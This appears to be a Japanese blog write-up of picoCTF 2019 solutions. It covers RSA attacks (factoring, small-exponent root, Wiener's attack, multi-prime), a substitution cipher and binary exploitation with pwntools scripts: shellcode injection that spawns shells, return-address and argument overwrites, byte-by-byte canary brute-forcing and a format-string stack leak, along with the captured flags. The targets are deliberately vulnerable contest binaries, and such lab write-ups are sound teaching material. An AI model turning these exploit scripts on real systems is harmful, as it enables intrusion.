# d
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e = 65537
totient = (q - 1) * (p - 1)
d = egcd(e, totient)[1]
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("d:", str(d))

# #### NEW PROBLEM ####
# p : 15314304227252786879841261241720443415693514687428299094238669402046286191806868456128176357703470660060838769914
# 807101519472553339412606982685718242866042781827737872497755436591023152482725816090449377474874908847732820481217193
# 5987088715261127321911849092207070653272176072509933245978935455542420691737433
# ciphertext : 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962
# 867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922
# 816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022
# 851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133
# 241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515
# 144782123152608246868892673838596163063470464
# e : 65537
# n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206
# 671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167
# 457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736
# 952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206
# 600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051
# 640937681745409057246190498795697239
# ##### PRODUCE THE FOLLOWING ####
# plaintext

# Prime factorization:
# http://www.factordb.com/index.php?query=23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
q = 156408916769576372285319235535320446340733908943564048157238512311891352879208957302116527435165097143521156600690562005797819820759620198602417583539668686152735534648541252847927334505648478214810780526425005943955838623325525300844493280040860604499838598837599791480284496210333200247148213274376422459183
ciphertext = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
totient = (q - 1)*(p - 1)
d = egcd(e, totient)[1]
if d < 0:
    d += totient
plaintext = pow(ciphertext, d, n)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("plaintext:", str(plaintext))

# If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
log.info(long_to_bytes(plaintext))

# con.interactive()

実行すると、フラグが取得できます。

$ python solve.py
[+] Opening connection to 2019shell1.picoctf.com on port 49989: Done
[*] b'picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}'
[*] Closed connection to 2019shell1.picoctf.com port 49989

picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}

miniRSA - Points: 300

Lets decrypt this: ciphertext? Something seems a bit small

eが小さい場合、e乗根を取れば、dを求めなくても復号することができます。 以下のようなスクリプトを作成しました。

from Crypto.Util.number import *
import gmpy

n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e = 3
c = 2205316413931134031074603746928247799030155221252519872649602375643231006596573791863783976856797977916843724727388379790172135717557077760267874464115099065405422557746246682213987550407899612567166189989232143975665175662662107329564517
m = int(gmpy.root(c, e)[0])
print(long_to_bytes(m))

実行すると復号され、フラグが取得できます。

$ python solve.py
b'picoCTF{n33d_a_lArg3r_e_11db861f}'

picoCTF{n33d_a_lArg3r_e_11db861f}

waves over lambda - Points: 300

We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 32282.

netcat で 2019shell1.picoctf.com:32282 に接続すると、英文のようなものが出てきます。 文字が別の文字に置き換えられているようなので、quipqiupというサイトで頻度分析させました。

quipqiup.com

何個か文章を投入すると、フラグを確認することができました。

congrats here is your flag - frequency_is_c_over_lambda_ptthttobuc

picoCTF{frequency_is_c_over_lambda_ptthttobuc}

b00tl3gRSA2 - Points: 400

In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 10814.

e が大きい場合、Wiener's attackが可能です。 Wiener's attack をやってくれる便利なパッケージ(owiener)があったので、こちらを利用しました。

github.com

from pwn import *
from Crypto.Util.number import *

# https://github.com/orisano/owiener
import owiener

def main():
    p = remote("2019shell1.picoctf.com",10814)
    p.readuntil(": ")
    c = int(p.readuntil("\n"))
    p.readuntil(": ")
    n = int(p.readuntil("\n"))
    p.readuntil(": ")
    e = int(p.readuntil("\n"))

    log.info("c = {}".format(c))
    log.info("n = {}".format(n))
    log.info("e = {}".format(e))
    d = owiener.attack(e, n)

    if d is None:
        log.info("Failed")
    else:
        log.info("Hacked d = {}".format(d))
    
    m = pow(c, d, n)
    log.info("Decrypted m = {}".format(m))
    log.info("FLAG is {}".format(long_to_bytes(m)))

if __name__ == "__main__":
    main()

実行すると、フラグが取得できます。

$ python solve.py
[+] Opening connection to 2019shell1.picoctf.com on port 10814: Done
[*] c = 4774732332714455228447437454375085287438113094510705622565209540406158544192371221474039148741132698332899707
761558926535951434336674823314108709415949894273759938561946919816407019113229448896657605778122423697702690417187896
9389742278493731341296974608724452883146077945077303068381534891047003614426446140
[*] n = 1249218555702404025513072023692307392870890573252402401494687118623513969280321534397775459964559263638701064
385358179940317246727234976265890353666646605691233301904449501277556129327953488417593016878361835646132395593764719
61866289049119995908059607752806267038483834548300954424281214270576214916759529837
[*] e = 3469532653446931973143252967826934276063284894691583153334192125545142632229185432520302870481545953698160851
723803285361498775490048528005819036184186263132882740696267072282136189395678305847742843535569399331186952968315263
8557450321038802057171235263098948186046633226808033374087456395922717278307438273
[*] Hacked d = 65537
[*] Decrypted m = 180638594769037903267909311328535969949661653466692454888976509
[*] FLAG is b'picoCTF{bad_1d3a5_4986370}'
[*] Closed connection to 2019shell1.picoctf.com port 10814

picoCTF{bad_1d3a5_4986370}

b00tl3gRSA3 - Points: 450

Why use p and q when I can use more? Connect with nc 2019shell1.picoctf.com 37874.

3つ以上の素数でnが決まっている場合、Multi-prime RSAと呼ばれています。この場合、素因数分解が現実的な時間でできるので、復号が可能です。 ただし、2つの素数の場合と違ってオイラー関数の計算方法に注意する必要があります。

復号するスクリプトを作成しました。

from pwn import *
from egcd import egcd
from Crypto.Util.number import *
import sympy

def totient(n):
    factors = sympy.factorint(n)
    rst = 1
    for i,j in factors.items():
        rst *= (pow(i,j) - pow(i,j-1))
    return rst

def main():
    con = remote("2019shell1.picoctf.com", 37874)
    con.readuntil(": ")
    c = int(con.readuntil("\n"))
    con.readuntil(": ")
    n = int(con.readuntil("\n"))
    con.readuntil(": ")
    e = int(con.readuntil("\n"))

    log.info("c = {}".format(c))
    log.info("n = {}".format(n))
    log.info("e = {}".format(e))

    phi = totient(n)
    d = egcd(e, phi)[1]
    if d < 0:
        d += phi
    log.info("d = {}".format(d))

    m = pow(c, d, n)
    log.info("Decrypted m = {}".format(m))
    log.info("FLAG is {}".format(long_to_bytes(m)))

if __name__ == "__main__":
    main()

少し時間がかかりますが、実行するとフラグが出力されます。

$ python solve.py 
[+] Opening connection to 2019shell1.picoctf.com on port 37874: Done
[*] c = 1840556992979634193428518768644495816711437789339218710030359606441297420776748646088923621078126163000138180
855492758012557107198647574121538138969200803987149420050803347879156481013228911949915900143262124287307577802961966
446102354437305156534323595829363183308109702399110027183377345405131457700937813504042605998540020035958785230470658
50
[*] n = 2173609478595598104998101419607070288388729743584025414628630839058648003842712474409314857778216999672033113
588226808060857041432651873014243459372742852659613623179026515640778251705432680744367379769529116372164709261293753
684748883753185459905587570469605371132308709724323585171805362843306378600825759987502719159257762938382520525820555
69
[*] e = 65537
[*] d = 1279284443765596289661578569113705692193372599563668959723734606956107240462628888756149974260183921550081952
572121432927139520184116072195816248745020035547055880542508529944747017311129129995404253814229121004872259723320368
265802879473637836460149518452160723035091193400040427238031572750144531575857044743167777701147199007534081328104734
73
[*] Decrypted m = 13016382529449106065933618925167173598170118383294989999418818439563972994937213
[*] FLAG is b'picoCTF{too_many_fact0rs_0744041}'
[*] Closed connection to 2019shell1.picoctf.com port 37874

picoCTF{too_many_fact0rs_0744041}

john_pollard - Points: 500

Sometimes RSA certificates are breakable

証明書なので、とりあえずopensslコマンドで展開してみます。

$ openssl x509 -text -in cert -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
        Signature Algorithm: md2WithRSAEncryption
        Issuer: CN = PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU = PicoCTF, O = PicoCTF, L = PicoCTF, ST = PicoCTF, C = US, CN = PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f

今回のフラグの形式は、picoCTF{p,q}という形式だと、Hintsに書かれていました。 4966306421059967 を素因数分解すれば、pとqを求めることができます。 factordbで検索すると、素因数分解できました。

www.factordb.com

4966306421059967<16> = 67867967 · 73176001

picoCTF{73176001,67867967}

Binary Exploitation

handy-shellcode - Points: 50

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 on the shell server. Source.

単純にShellcodeを入れるだけの問題です。 今回は、socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln

シェルコードを送り込むPythonスクリプトを書きました。

from pwn import *

def exploit(p):
    shellcode = asm(shellcraft.sh())    
    p.sendlineafter("Enter your shellcode:", shellcode)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8000)
    else:
        p = process("./vuln")
    
    exploit(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行するとシェルが取れ、フラグの確認ができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8000: Done
[*] Switching to interactive mode

jhh///sh/binj\x0bX\x89�1�\x99̀
Thanks! Executing now...
$ id
uid=9780(tsalvia) gid=8869(handy-shellcode_0) groups=8869(handy-shellcode_0),1002(competitors),9781(tsalvia)
$ ls
flag.txt
vuln
vuln.c
$ cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}$

picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}

practice-run-1 - Points: 50

You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.

picoCTFでは、各ユーザにWebShellが用意されています。 ログインして、run_thisを実行するとフラグが表示されました。

$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e
$ ls
run_this
$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0 - Points: 100

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 on the shell server. Source.

SIGSEGVを起こせば、フラグが表示されるようです。 300文字ぐらい文字列をコマンドライン引数に指定し、バッファオーバーフローさせるとフラグが表示されました。

$ cd /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0
$ ls
flag.txt  vuln  vuln.c
$ ./vuln "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

picoCTF{3asY_P3a5y1fcf81f9}

OverFlow 1 - Points: 150

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de
$ socat TCP-LISTEN:8001,reuseaddr,fork EXEC:./vuln

gdb-pedaのpattcとpattoの機能を使って、リターンアドレスの位置を確認します。

$ gdb -q -ex "pattc 100" -ex "q" | sed -e "s/'//g"
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
$ ./vuln
Give me a string and lets see what happens: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Woah, were jumping to 0x41344141 !
Segmentation fault (core dumped)
$ gdb -q -ex "patto 0x41344141" -ex "q"
1093943617 found at offset: 76

リターンアドレスがバッファの先頭から76バイト目にあることが分かりました。 リターンアドレスをflag関数に飛ばすように入力値を調整すれば、フラグを取得できます。

以上の情報を基にスクリプトを書きました。

from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols[b'flag']
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    offset = 76
    payload = b"A" * offset
    payload += pack(flag_symbols)
    p.sendlineafter("Give me a string and lets see what happens:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8001)
    else:
        p = process("./vuln")
    
    binf = ELF("./vuln")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()

上記のスクリプトを実行すると、フラグを取得することができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8001: Done
[*] '/root/workdir/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] flag symbols: 0x80485e6
[*] Switching to interactive mode
 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

slippery-shellcode - Points: 200

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1 on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln

ソースコードを見てみると、前回のhandy-shellcodeのときと違い、randで取得した値を使って実行させるバッファのアドレスを少しずらす処理が入っていました。 ただ、srandがないため初期seed値は、固定となります。まず、offsetがどれぐらいなのかを調べるため、少しだけソースコードに手を加えました。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;
  printf("%d\n", offset);
  
  // ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

コンパイルして実行すると、offsetが表示されます。 また、何度実行しても同じ値であることも確認できました。

$ gcc ./vuln.c
# ./a.out 
Enter your shellcode:
a
a
Thanks! Executing from a random location now...
104
Finishing Executing Shellcode. Exiting now...
root@f4abf7d5116e:~/workdir# ./a.out 
Enter your shellcode:
a
a
Thanks! Executing from a random location now...
104
Finishing Executing Shellcode. Exiting now...

あとは、適当にoffset分文字列を書き込んで、そのあとシェルコードを実行できるようにするだけです。 以下がそのスクリプトとなります。

from pwn import *

def exploit(p):
    shellcode = asm(shellcraft.sh())

    offset = 104
    payload = b"A" * offset
    payload += shellcode
    p.sendlineafter("Enter your shellcode:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8002)
    else:
        p = process("./vuln")
    
    exploit(p)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8002: Done
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjhh///sh/binj
\x0bX\x89�1�\x99̀
Thanks! Executing from a random location now...
$ id
uid=9780(tsalvia) gid=8861(slippery-shellcode_6) groups=8861(slippery-shellcode_6),1002(competitors),9781(tsalvia)
$ ls
flag.txt
vuln
vuln.c
$ cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}

picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}

OverFlow 2 - Points: 250

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_1_210f23786438d7f7e527f4901367a74b on the shell server. Source.

socatでサーバを立てて解きました。

$ curl checkip.amazonaws.com
3.15.247.173
$ cd  /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405
$ socat TCP-LISTEN:8003,reuseaddr,fork EXEC:./vuln

今度は、バッファオーバーフローで呼び出す関数に引数があるという問題です。 正しい引数を指定して関数を呼び出す必要があります。

以下のようなスクリプトを作成しました。

from pwn import *

def exploit(p, binf):
    flag_symbols = binf.symbols[b'flag']
    log.info("flag symbols: {}".format(hex(flag_symbols)))

    offset = 188
    payload = b"A" * offset
    payload += pack(flag_symbols)
    payload += pack(0x00000000) # dummy
    payload += pack(0xDEADBEEF) # arg1
    payload += pack(0xC0DED00D) # arg2

    log.info("payload: {}".format(payload))
    p.sendlineafter("Please enter your string:", payload)

def main():
    context(arch="i386", os="linux")

    if args["REMOTE"]:
        p = remote("3.15.247.173", 8003)
    else:
        p = process("./vuln")
    
    binf = ELF("./vuln")
    exploit(p, binf)
    p.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが出力されました。

$ python exploit.py REMOTE
[+] Opening connection to 3.15.247.173 on port 8003: Done
[*] '/root/workdir/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] flag symbols: 0x80485e6
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x85\x04\x08\
x00\x00\x00\x00\xef\xbe\xad\xde\r\xd0\xde\xc0'
[*] Switching to interactive mode
 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{arg5_and_r3turn5001d1db0}

picoCTF{arg5_and_r3turn5001d1db0}

CanaRy - Points: 300

This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd. Source.

canary.txt というファイルを読み出して、カナリア値の代わりに挿入されるようです。 ファイルから読み出しており、カナリア値は常に一定となるので、1バイトずつ総当たりでカナリア値を求めれば良さそうです。

また、カナリア値を求めた後、バッファオーバーフローさせて、display_flag を呼び出す必要があります。 picoCTFのサーバは、ASLRが有効となっているため、そのままリターンアドレスを書き換えてもほとんどの確率で動作しません。 ただ、ASLRが有効の場合でも、下位2バイトは固定となるので、何度も実行して上位2バイトにヒットするまで、繰り返すことで解決しました。

以下のようなスクリプトを作成しました。

from pwn import *
from getpass import *

ARCH = "i386"
FILE = "./vuln"
HOST = "3.15.247.173"

if args["REMOTE"]:
    USER = getpass("Please input ssh user: ")
    PASS = getpass("Please input ssh password: ")
    SSH = ssh(host=HOST, user=USER, password=PASS)
    SSH.set_working_directory("/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd")

def run_process():
    if args["REMOTE"]:
        return SSH.process([FILE])
    else:
        return process([FILE])

def leak_canary():
    buf_size = 32
    canary = b''
    for i in range(4):
        for c in range(0xff):
            payload = b'A' * buf_size + canary + bytes([c])
            log.info("leak_canary_payload: {}".format(payload))
            con = run_process()
            con.sendlineafter("Please enter the length of the entry:\n> ", str(buf_size + i + 1))
            con.sendlineafter("Input> ", payload)
            res = con.recvall()
            if b"Canary Value Corrupt!" not in res:
                canary += bytes([c])
                break
    return canary

def exploit(canary):
    elf = ELF(FILE)
    while True:
        con = run_process()
        display_flag = elf.symbols[b"display_flag"]
        log.info("display_flag: {}".format(hex(display_flag)))

        buf_size = 32
        padding = b"B" * 16
        payload = b"A" * buf_size + canary + padding + display_flag.to_bytes(2, "little")
        log.info("payload: {}".format(payload))
        con.sendlineafter("Please enter the length of the entry:\n> ", str(len(payload)))
        con.sendlineafter("Input> ", payload)
        con.readuntil("\n")
        res = con.recvall()
        if b"pico" in res:
            return res.decode("utf-8")

def main():
    context(arch=ARCH, os="linux")

    prog = log.progress("leak_canary()")
    context.log_level = "error"
    canary = leak_canary()
    context.log_level = "info"
    prog.success("canary: {}".format(canary))

    prog = log.progress("exploit()")
    context.log_level = "error"
    flag = exploit(canary)
    context.log_level = "info"
    prog.success("flag: {}".format(flag))

if __name__ == "__main__":
    main()

ローカルで実行する場合は、ASLRを有効にしておく必要があります。

$ echo 2 > /proc/sys/kernel/randomize_va_space
$ echo -n "abcd" > /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/canary.txt
$ echo -n "picoCTF{TEST_TEST}" > flag.txt
$ python exploit.py
[+] leak_canary(): canary: b'abcd'
[+] exploit(): flag: picoCTF{TEST_TEST}

リモートに接続して実行すると、フラグが取得できます。

$ python exploit.py REMOTE
Please input ssh user: 
Please input ssh password: 
[+] Connecting to 3.15.247.173 on port 22: Done
[*] Working directory: '/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd'
[+] leak_canary(): canary: b'7a6H'
[+] exploit(): flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}

stringzz - Points: 300

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 on the shell server. Source.

フラグをバッファに入れている処理があり、そのあとにフォーマットストリングバグがあるのが確認できました。 スタックをリークすれば、フラグが出力されるはずです。 総当たりで、スタックを辿るスクリプトを書きました。

#!/bin/bash
for ((i = 1; i < 100; i++))
do
    echo -e "$i.%$i\$s" | ./vuln | grep "picoCTF"
done

実行すると、フラグが出力されます。

$ cd /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010
$ vi /tmp/solve.sh
$ chmod +x /tmp/solve.sh
$ /tmp/solve.sh
37.picoCTF{str1nG_CH3353_0814bc7c}

picoCTF{str1nG_CH3353_0814bc7c}

seed-sPRiNG - Points: 350

The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 47241.

seed_spring をGhidraで開くと、以下のようになっていました。

f:id:tsalvia:20191002024906p:plain

seed値を現在の時刻にしているようです。 コマンドライン引数にエポックタイムを指定すると、30個分の乱数を表示するようなプログラムを作成しました。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    int i, num;
    unsigned int seed;
    
    seed = atoi(argv[1]);
    srand(seed);

    printf("seed: %d\n", seed);
    for (i = 0; i < 30; i++) {
        num = rand();
        printf("%2d:\t%2d\n", i + 1, num & 0xf);
    }
    return 0;
}

何度かサーバに接続し、初めに適当な値(1)を入力して、次に進むタイミングを探します。

$ date +%s & nc 2019shell1.picoctf.com 47241
[1] 1517
1569951372

省略

Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 1
LEVEL (2/30)

Guess the height:

1秒ずつ時刻をずらしながら、初めに1が出てくるタイミングを探します。 私の環境では、5秒ほどずれていました。

$ gcc crack_seed.c 
$ ./a.out 1569951367
seed: 1569951367
 1:      1
 2:      1
省略

30個分の乱数を入力していくと、フラグが出力されました。

picoCTF{pseudo_random_number_generator_not_so_random_1e980471db65a9f446af481d75490127}

Reverse Engineering

vault-door-training - Points: 50

Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java

VaultDoorTraining.java を開くと、フラグが書いてありました。

import java.util.*;

class VaultDoorTraining {
    public static void main(String args[]) {
        VaultDoorTraining vaultDoor = new VaultDoorTraining();
        Scanner scanner = new Scanner(System.in); 
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
    }
   }

    // The password is below. Is it safe to put the password in the source code?
    // What if somebody stole our source code? Then they would know what our
    // password is. Hmm... I will think of some ways to improve the security
    // on the other doors.
    //
    // -Minion #9567
    public boolean checkPassword(String password) {
        return password.equals("w4rm1ng_Up_w1tH_jAv4_87f51143e4b");
    }
}

picoCTF{w4rm1ng_Up_w1tH_jAv4_87f51143e4b}

